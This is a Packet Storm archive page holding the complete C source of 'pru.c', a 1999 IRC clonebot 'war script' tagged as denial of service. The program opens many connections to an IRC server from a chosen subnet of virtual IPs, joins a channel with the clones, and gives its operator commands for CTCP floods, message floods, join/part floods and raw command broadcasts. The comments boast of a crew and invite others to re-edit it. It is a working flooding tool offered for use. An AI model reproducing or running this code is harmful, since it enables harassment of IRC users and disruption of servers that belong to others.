exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

pru.c

pru.c
Posted Jan 10, 2000
Authored by Amir, Pisang

Clone.c mutation - Clonebot IRC war script.

tags | denial of service
SHA-256 | aaa31957a35cc46bb46b173b0eff597201a4590d2decf46f8351852f60114306

pru.c

Change Mirror Download
/* rC clone.c for used by rC crews only.Its too hot too private like nana
properties ;P Accidently found by Pisang@pru at apolloweb.net while
passionate with nana. Usage are under rC laws (must have law duh?:P)
Re-edit by AM|R^` & Pisang for additional purpose.
http://www.RekoCLaN.The.Best.ITgo.com

21 August 1999 ~5 fingers.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
#include <errno.h>


#define SUBNET "216.161.254" /* The subnet to clone from, RANDOM AND SEQ
*/
#define STARTAT 215 /* The end of the IP to start at.. subnet.startat
/* If subnet is 127.0.0, and you want to start at
/* 127.0.0.8 for clones, make startat 8 */


#define STDIN 0

#ifndef INADDR_NONE /* SunOS sucks */
#define INADDR_NONE -1
#endif

int highest_fd;
int MAXFD;
int sip;
int sc[2048];
char myname[81];
char clonechan[81];


void sockp(s, pattern, p1, p2, p3, p4, p5, p6, p7, p8)
int s;
char *pattern, *p1, *p2, *p3, *p4, *p5, *p6, *p7, *p8;
{
char sendbuf[1024];

sprintf(sendbuf, pattern, p1, p2, p3, p4, p5, p6, p7, p8);
write(s, sendbuf, strlen(sendbuf));
}

char *rans()
{
char nick[30];
char *blah;
bzero((char *)nick, 30);
sprintf(nick, "%c%c%c%c%c%c%c%c%c", rand()%26+65, rand()%26+65,
rand()%26+65, rand()%26+65, rand()%26+65, rand()%26+65, rand()%26+65,
rand()%26+65, rand()%26+65);
blah = nick;
return blah;
}

char *m_strdup (const char *str)
{
char *ptr;
char empty_string[] = "";

if (!str)
str = empty_string;
ptr = (char *)malloc(strlen(str) + 1);
return strcpy(ptr, str);
}

void *getmyhostname(char *s)
{
struct hostent *hp;

gethostname(s,80);
if (strchr(s, '.') != NULL)
return;

hp=gethostbyname(s);
if (hp == NULL)
{
printf("Fatal Error! Hostname self-lookup failed!\n");
exit(1);
}

strcpy(s, hp->h_name);
if (strchr(s, '.') != NULL)
return;

if (hp->h_aliases[0] == NULL)
{
printf("Fatal Error! Can't determine your hostname!\n");
exit(1);
}

strcpy(s, hp->h_aliases[0]);
if (strchr(s, '.') == NULL)
{
printf("Fatal Error! Can't determine your hostname!\n");
exit(1);
}
}

int do_connect(char *hstname, u_short port, char *vhost)
{
int s = -1;
struct hostent *he;
struct sockaddr_in sin;
struct sockaddr_in localaddr;
struct hostent * hp;
struct in_addr LocalHostAddr;
char clone[80];

s = socket(AF_INET, SOCK_STREAM, 0);
if(s < 0)
return -2;

if(vhost)
{
if (!strncasecmp(vhost, "RANDOM", 6))
{
sprintf(clone, "%s.%d", SUBNET, random()%90+1);
printf("Random IP: %s\n", clone);
if ((hp = gethostbyname(clone)))
memcpy((void *)&LocalHostAddr, hp->h_addr,
sizeof(LocalHostAddr));
} else
if (!strncasecmp(vhost, "SEQ", 3))
{
sip++;
sprintf(clone, "%s.%d", SUBNET, sip);
printf("Sequential IP: %s\n", clone);
if ((hp = gethostbyname(clone)))
memcpy((void *)&LocalHostAddr, hp->h_addr,
sizeof(LocalHostAddr));
}
else if ((hp = gethostbyname(vhost)))
memcpy((void *)&LocalHostAddr, hp->h_addr,
sizeof(LocalHostAddr));
memset(&localaddr, 0, sizeof(struct sockaddr_in));
localaddr.sin_family = AF_INET;
localaddr.sin_addr = LocalHostAddr;
localaddr.sin_port = 0;
if (bind(s, (struct sockaddr *)&localaddr,
sizeof(localaddr)))
{
close(s);
return -2;
}

}
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = inet_addr(hstname);
if(sin.sin_addr.s_addr == INADDR_NONE)
{
he = gethostbyname(hstname);
if(!he)
{
close(s);
return -1;
}
memcpy(&sin.sin_addr, he->h_addr, he->h_length);
}
if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0)
{
close(s);
return -2;
}
if (s > highest_fd)
highest_fd = s;
return s;
}

void procstdin(buf)
char buf[1024];
{
char *bufloc, *nick, *ctcp;
int i;

if(!strncasecmp(buf, "RN", 2))
{
char *rcn;
for (i = highest_fd; i >= 0; i--)
if (sc[i] > 0) {
rcn = rans();
sockp(i, "NICK %s\n", rcn);
}
printf("Random nicks complete.\n");
return;
}

if(!strncasecmp(buf, "J", 1))
{
char *rcn;
bufloc = strtok(buf, " ");
nick = strtok(NULL, " ");
bufloc = strtok(NULL, "");
for (i = highest_fd; i >= 0; i--)
if (sc[i] > 0) {
sockp(i, "JOIN %s\n", nick);
}
printf("Joining..\n");
return;
}

if(!strncasecmp(buf, "P", 1))
{
char *rcn;
bufloc = strtok(buf, " ");
nick = strtok(NULL, " ");
bufloc = strtok(NULL, "");
for (i = highest_fd; i >= 0; i--)
if (sc[i] > 0) {
sockp(i, "PART %s\n", nick);
}
printf("Parting..\n");
return;
}

if(!strncasecmp(buf, "KM", 2))
{
char *rcn;
bufloc = strtok(buf, " ");
nick = strtok(NULL, " ");
bufloc = strtok(NULL, "");
for (i = highest_fd; i >= 0; i--)
if (sc[i] > 0) {
sockp(i, "PART %s\nJOIN %s\n", nick, nick);
sockp(i, "PART %s\nJOIN %s\n", nick, nick);
sockp(i, "PART %s\nJOIN %s\n", nick, nick);

}
printf("Parting and Joining..\n");
return;
}

if(!strncasecmp(buf, "CF", 2))
{
bufloc = strtok(buf, " ");
nick = strtok(NULL, "\r\n");
printf("CTCP flooding %s\n", nick);
for (i = highest_fd; i >= 0; i--)
if (sc[i] > 0)
sockp(i, "PRIVMSG %s :\001VERSION\001\n",
nick);
for (i = highest_fd; i >= 0; i--)
if (sc[i] > 0)
sockp(i, "PRIVMSG %s
:\001CLIENTINFO\001\n", nick);
for (i = highest_fd; i >= 0; i--)
if (sc[i] > 0)
sockp(i, "PRIVMSG %s :\001USERINFO\001\n",
nick);
for (i = highest_fd; i >= 0; i--)
if (sc[i] > 0)
sockp(i, "PRIVMSG %s :\001VERSION\001\n",
nick);
for (i = highest_fd; i >= 0; i--)
if (sc[i] > 0)
sockp(i, "PRIVMSG %s :\001PING\001\n",
nick);
return;
}

if(!strncasecmp(buf, "MF", 2))
{
bufloc = strtok(buf, " ");
nick = strtok(NULL, " ");
bufloc = strtok(NULL, "");
printf("MSG to %s: %s\n", nick, bufloc);
for (i = highest_fd; i >= 0; i--)
if (sc[i] > 0)
sockp(i, "PRIVMSG %s :%s\n", nick,
bufloc);
return;
}

if(!strncasecmp(buf, "CTCP", 4))
{
bufloc = strtok(buf, " ");
nick = strtok(NULL, " ");
bufloc = strtok(NULL, "");
printf("CTCP to %s: %s\n", nick, bufloc);
for (i = highest_fd; i >= 0; i--)
if (sc[i] > 0)
sockp(i, "PRIVMSG %s :\001%s\001", nick,
bufloc);
return;
}

if(!strncasecmp(buf, "Q", 1))
{
for (i = highest_fd; i >= 0; i--)
if (sc[i] > 0) {
sockp(i, "QUIT :http://www.RekoCLan.The.Best.ITgo.com\n");
}
printf("Killing...\nBye!");
exit(1);
}

if(!strncasecmp(buf, "RAW", 3))
{
printf("Processing RAW command\n");
bufloc = strtok(buf, " ");
bufloc = strtok(NULL, "");
for (i = highest_fd; i >= 0; i--)
if (sc[i] > 0)
sockp(i, "%s", bufloc);
}
}

void procbuf(buf,s)
char buf[1024];
int s;
{
char *nspoof, *bufloc;

if(bufloc = strstr(buf, "PING"))
{
nspoof = strtok(bufloc, " ");
nspoof = strtok(NULL, " ");
sockp(s, "PONG %s\n", nspoof);
sockp(s, "JOIN %s\n", clonechan);
}
}

void mainloop()
{
fd_set read_set, write_set;
int res, length, fd, i, nfds;
int auth = 0;
char buf[1024];

while(1)
{

for (res = 0;;)
{
FD_ZERO(&read_set);

for (i = highest_fd; i >= 0; i--)
{
if ((sc[i] < 0) && (i != STDIN))
continue;
FD_SET(i,&read_set);
}
nfds = select((highest_fd + 1), &read_set, NULL, NULL,
NULL);
if (nfds >= 0)
break;
printf("Eww select error!");
sleep(10);
}

for (i = highest_fd; i >= 0; i--)
if (FD_ISSET(i, &read_set) && (i != STDIN))
{
FD_CLR(i, &read_set);
memset(buf, 0, sizeof(buf));
if (read(i, buf, sizeof(buf)) <= 0)
{
close(i);
printf("dead sock: %d\n", i);
if (i == highest_fd)
highest_fd--;
sc[i] = -1;
}
else
{
procbuf(buf,i);
}
}
else
if (FD_ISSET(i, &read_set) && (i == STDIN))
{
FD_CLR(i, &read_set);
memset(buf, 0, sizeof(buf));
if (read(i, buf, sizeof(buf)) <= 0)
{
printf("Eww! Read error from stdin!
Exiting!\n");
exit(1);
}
procstdin(buf);
}

}
}

int main(int argc, char *argv[])
{
struct sockaddr_in sin;
int i, j;
int dport, sock, clnum = 0;
char *servername, *np, *cln, *clchan, *hostn;
char clnick[80], cluser[80];

if (argc < 6)
{
printf("clone.c by darkrot\n");
printf("\n");
printf(" SEQ - sequential virtual IP's, RAND =
random..\n");
exit(0);
}

dport=atoi(argv[3]);
servername=argv[2];
np = argv[4];

hostn = argv[6];

clchan = argv[5];

sprintf(clonechan, "#%s", clchan);

MAXFD = atoi(argv[1]);

printf("Cloning %d clones (%s) on %s port %d in %s [from %s]\n",
MAXFD, np, servername, dport, clonechan, hostn);

sleep(1);

i = 0;

sip = STARTAT - 1;

for(i=0;i<2048;i++)
sc[i]= -1;



for(i=0;i<MAXFD;i++)
{
sock = do_connect(servername, dport, hostn);
if (sock > 0)
{
printf("Successful clone on fd %d\n", sock);
sc[sock] = 1;
}
else
printf("Connect failed: %s\n", errno ?
strerror(errno) : "unknown host");

}

j = 0;

highest_fd = sock;


for(j=1;j<2048;j++)
if(sc[j] > 0)
{
clnum++;
sprintf(clnick, "NICK %s%d\n", np, clnum);
sprintf(cluser, "USER %s%d blah.com blah.com :rC
Army ready to serve!\n", np, clnum);
write(j, clnick, strlen(clnick));
write(j, cluser, strlen(cluser));
sprintf(clnick, "JOIN %s\n", clonechan);
write(j, clnick, strlen(clnick));
}


printf("----------------------------------------------------------------------\n");
printf(" Commands - Description\n");

printf("----------------------------------------------------------------------\n");
printf(" [o] p - Part #chan\n");
printf(" [o] j - Join #chan\n");
printf(" [o] mf - Message flood (nick #chan)\n");
printf(" [o] rn - Random nick\n");
printf(" [o] cf - CTCP flood (nick #chan)\n");
printf(" [o] km - Join flood (#chan)\n");
printf(" [o] q - Quit\n\n\n");
printf(" [rC] RekoCLaN 1999 Flooder by Pisang Raja Udang
[rC]\n");

printf("----------------------------------------------------------------------\n");
printf("All sockets connected.\n");

mainloop();
}

/* Nah its ready to serve, just be creative to re-edit it :P
Jot down your mail at pisang_ru@hotmail.com
Your suggestion will be appreciated, more proggies, exploit, etc?
meet me at #UnITeN on UNDERNET

25 August 1999 2:59a.m
*/

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close